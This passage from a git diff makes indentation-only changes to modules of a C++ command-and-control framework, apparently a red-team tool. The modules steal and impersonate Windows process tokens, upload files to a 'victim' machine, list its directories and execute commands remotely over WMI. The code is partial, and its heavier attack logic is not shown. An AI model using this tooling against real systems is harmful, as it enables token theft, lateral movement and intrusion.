c2Message.data(); std::vector splitedList; @@ -195,11 +195,11 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) result += "Success.\n"; - c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += payload; - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(result); - return 0; + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 0; } diff --git a/modules/SpawnAs/SpawnAs.hpp b/modules/SpawnAs/SpawnAs.hpp index b88b9e0..6c44a3c 100644 --- a/modules/SpawnAs/SpawnAs.hpp +++ b/modules/SpawnAs/SpawnAs.hpp @@ -7,15 +7,15 @@ class SpawnAs : public ModuleCmd { public: - SpawnAs(); - ~SpawnAs(); + SpawnAs(); + ~SpawnAs(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } diff --git a/modules/StealToken/StealToken.cpp b/modules/StealToken/StealToken.cpp index 6e5cade..b9187bc 100644 --- a/modules/StealToken/StealToken.cpp +++ b/modules/StealToken/StealToken.cpp @@ -41,9 +41,9 @@ __attribute__((visibility("default"))) StealToken* StealTokenConstructor() StealToken::StealToken() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -54,21 +54,21 @@ StealToken::~StealToken() std::string StealToken::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "stealToken:\n"; - info += "Steal a token and impersonate the it. You must have administrator privilege. \n"; - info += "exemple:\n"; - info += "- stealToken pid \n"; + info += "stealToken:\n"; + info += "Steal a token and impersonate the it. You must have administrator privilege. \n"; + info += "exemple:\n"; + info += "- stealToken pid \n"; #endif - return info; + return info; } int StealToken::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if(splitedCmd.size() == 2) - { + { int pid=-1; try { @@ -77,34 +77,34 @@ int StealToken::init(std::vector &splitedCmd, C2Message &c2Message) catch (const std::invalid_argument& ia) { c2Message.set_returnvalue(getInfo()); - return -1; + return -1; } c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(""); c2Message.set_pid(pid); } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } int StealToken::process(C2Message &c2Message, C2Message &c2RetMessage) { - int pid = c2Message.pid(); + int pid = c2Message.pid(); std::string result = stealToken(pid); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); - c2RetMessage.set_returnvalue(result); - return 0; + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(""); + c2RetMessage.set_returnvalue(result); + return 0; } //https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera @@ -114,7 +114,7 @@ int StealToken::process(C2Message &c2Message, C2Message &c2RetMessage) std::string StealToken::stealToken(int pid) { - std::string result; + std::string result; if(pid==-1) { @@ -131,7 +131,7 @@ std::string StealToken::stealToken(int pid) int target = pid; HANDLE processHandle; - processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); + processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); HANDLE tokenHandle; // TODO pas besoin de TOKEN_ALL_ACCESS @@ -169,5 +169,5 @@ std::string StealToken::stealToken(int pid) #endif - return result; + return result; } \ No newline at end of file diff --git a/modules/StealToken/StealToken.hpp b/modules/StealToken/StealToken.hpp index f019983..e57340b 100644 --- a/modules/StealToken/StealToken.hpp +++ b/modules/StealToken/StealToken.hpp @@ -7,20 +7,20 @@ class StealToken : public ModuleCmd { public: - StealToken(); - ~StealToken(); + StealToken(); + ~StealToken(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::string stealToken(int pid); + std::string stealToken(int pid); }; diff --git a/modules/Tree/Tree.cpp b/modules/Tree/Tree.cpp index a7be66a..ce8277a 100644 --- a/modules/Tree/Tree.cpp +++ b/modules/Tree/Tree.cpp @@ -34,9 +34,9 @@ __attribute__((visibility("default"))) Tree * TreeConstructor() Tree::Tree() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -47,7 +47,7 @@ Tree::~Tree() std::string Tree::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER info += "Tree Module:\n"; info += "Recursively list the directory structure of a given path on the victim machine.\n"; @@ -56,7 +56,7 @@ std::string Tree::getInfo() info += "- tree /tmp\n"; info += "- tree C:\\Users\\Public\n"; #endif - return info; + return info; } int Tree::init(std::vector &splitedCmd, C2Message &c2Message) @@ -70,23 +70,23 @@ int Tree::init(std::vector &splitedCmd, C2Message &c2Message) path+=splitedCmd[idx]; } - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(path); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(path); #endif - return 0; + return 0; } int Tree::process(C2Message &c2Message, C2Message &c2RetMessage) { - string path = c2Message.cmd(); - std::string outCmd = iterProcess(path, 0); + string path = c2Message.cmd(); + std::string outCmd = iterProcess(path, 0); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(path); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(path); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } @@ -137,11 +137,11 @@ std::string Tree::iterProcess(const std::string& path, int depth) } } catch (const std::exception &exc) - { - result += "Error: "; + { + result += "Error: "; result += exc.what(); result += "\n"; } - return result; + return result; } \ No newline at end of file diff --git a/modules/Tree/Tree.hpp b/modules/Tree/Tree.hpp index ecd7ab3..72c8499 100644 --- a/modules/Tree/Tree.hpp +++ b/modules/Tree/Tree.hpp @@ -7,20 +7,20 @@ class Tree : public ModuleCmd { public: - Tree(); - ~Tree(); + Tree(); + ~Tree(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string iterProcess(const std::string& path, int depth); + std::string iterProcess(const std::string& path, int depth); }; diff --git a/modules/Upload/Upload.cpp b/modules/Upload/Upload.cpp index a1fca07..c751357 100644 --- a/modules/Upload/Upload.cpp +++ b/modules/Upload/Upload.cpp @@ -31,9 +31,9 @@ __attribute__((visibility("default"))) Upload* UploadConstructor() Upload::Upload() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -44,89 +44,89 @@ Upload::~Upload() std::string Upload::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "Upload Module:\n"; - info += "Transfer a file from the attacker's machine to the victim's machine.\n"; - info += "The file is read from the local system and written to the specified path on the remote target.\n"; - info += "\nUsage example:\n"; - info += " - upload /tmp/toto.exe C:\\Temp\\toto.exe\n"; - info += "\nArguments:\n"; - info += " Path to the file on the attacker's machine\n"; - info += " Destination path on the victim's machine\n"; + info += "Upload Module:\n"; + info += "Transfer a file from the attacker's machine to the victim's machine.\n"; + info += "The file is read from the local system and written to the specified path on the remote target.\n"; + info += "\nUsage example:\n"; + info += " - upload /tmp/toto.exe C:\\Temp\\toto.exe\n"; + info += "\nArguments:\n"; + info += " Path to the file on the attacker's machine\n"; + info += " Destination path on the victim's machine\n"; #endif - return info; + return info; } int Upload::init(std::vector &splitedCmd, C2Message &c2Message) { - std::vector quoteRegroupedCmd = regroupStrings(splitedCmd); + std::vector quoteRegroupedCmd = regroupStrings(splitedCmd); - if (quoteRegroupedCmd.size() == 3) - { - string inputFile = quoteRegroupedCmd[1]; - string outputFile = quoteRegroupedCmd[2]; + if (quoteRegroupedCmd.size() == 3) + { + string inputFile = quoteRegroupedCmd[1]; + string outputFile = quoteRegroupedCmd[2]; - std::ifstream input(inputFile, std::ios::binary); - if( input ) - { - std::string buffer(std::istreambuf_iterator(input), {}); + std::ifstream input(inputFile, std::ios::binary); + if( input ) + { + std::string buffer(std::istreambuf_iterator(input), {}); - c2Message.set_instruction(quoteRegroupedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_outputfile(outputFile); - c2Message.set_data(buffer.data(), buffer.size()); - } - else - { - c2Message.set_returnvalue("Failed: Couldn't open file."); - return -1; - } + c2Message.set_instruction(quoteRegroupedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_outputfile(outputFile); + c2Message.set_data(buffer.data(), buffer.size()); + } + else + { + c2Message.set_returnvalue("Failed: Couldn't open file."); + return -1; + } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } - return 0; + return 0; } #define ERROR_OPEN_FILE 1 int Upload::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string outputFile = c2Message.outputfile(); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); + std::string outputFile = c2Message.outputfile(); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(""); - std::ofstream output(outputFile, std::ios::binary); - if( output ) - { - const std::string buffer = c2Message.data(); - output << buffer; - output.close(); + std::ofstream output(outputFile, std::ios::binary); + if( output ) + { + const std::string buffer = c2Message.data(); + output << buffer; + output.close(); - c2RetMessage.set_returnvalue("Success."); - } - else - { - c2RetMessage.set_errorCode(ERROR_OPEN_FILE); - } + c2RetMessage.set_returnvalue("Success."); + } + else + { + c2RetMessage.set_errorCode(ERROR_OPEN_FILE); + } - return 0; + return 0; } int Upload::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_OPEN_FILE) - errorMsg = "Failed: Couldn't open file"; - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_OPEN_FILE) + errorMsg = "Failed: Couldn't open file"; + } #endif - return 0; + return 0; } \ No newline at end of file diff --git a/modules/Upload/Upload.hpp b/modules/Upload/Upload.hpp index e51538b..3e1a47b 100644 --- a/modules/Upload/Upload.hpp +++ b/modules/Upload/Upload.hpp @@ -7,16 +7,16 @@ class Upload : public ModuleCmd { public: - Upload(); - ~Upload(); + Upload(); + ~Upload(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } diff --git a/modules/WmiExec/WmiExec.cpp b/modules/WmiExec/WmiExec.cpp index f33e1e7..f831668 100644 --- a/modules/WmiExec/WmiExec.cpp +++ b/modules/WmiExec/WmiExec.cpp @@ -50,9 +50,9 @@ __attribute__((visibility("default"))) WmiExec* WmiExecConstructor() WmiExec::WmiExec() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -65,7 +65,7 @@ WmiExec::~WmiExec() std::string WmiExec::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER info += "WmiExec Module:\n"; info += "Execute a remote command using Windows Management Instrumentation (WMI).\n"; @@ -81,7 +81,7 @@ std::string WmiExec::getInfo() info += "\nNote:\n"; info += " The command and arguments following the target are passed to the remote process.\n"; #endif - return info; + return info; } @@ -89,8 +89,8 @@ int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() >= 5) - { - string mode = splitedCmd[1]; + { + string mode = splitedCmd[1]; if(mode=="-u") { @@ -170,18 +170,18 @@ int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) else { c2Message.set_returnvalue(getInfo()); - return -1; + return -1; } c2Message.set_instruction(splitedCmd[0]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -189,7 +189,7 @@ int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) // https://vimalshekar.github.io/codesamples/Launching-a-process-on-remote-machine int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string cmd = c2Message.cmd(); + std::string cmd = c2Message.cmd(); std::vector splitedList; std::string delimitator; @@ -558,10 +558,10 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) cmd += " "; cmd += data; - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(result); - return 0; + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 0; } diff --git a/modules/WmiExec/WmiExec.hpp b/modules/WmiExec/WmiExec.hpp index 219a346..bd21b06 100644 --- a/modules/WmiExec/WmiExec.hpp +++ b/modules/WmiExec/WmiExec.hpp @@ -7,15 +7,15 @@ class WmiExec : public ModuleCmd { public: - WmiExec(); - ~WmiExec(); + WmiExec(); + ~WmiExec(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; }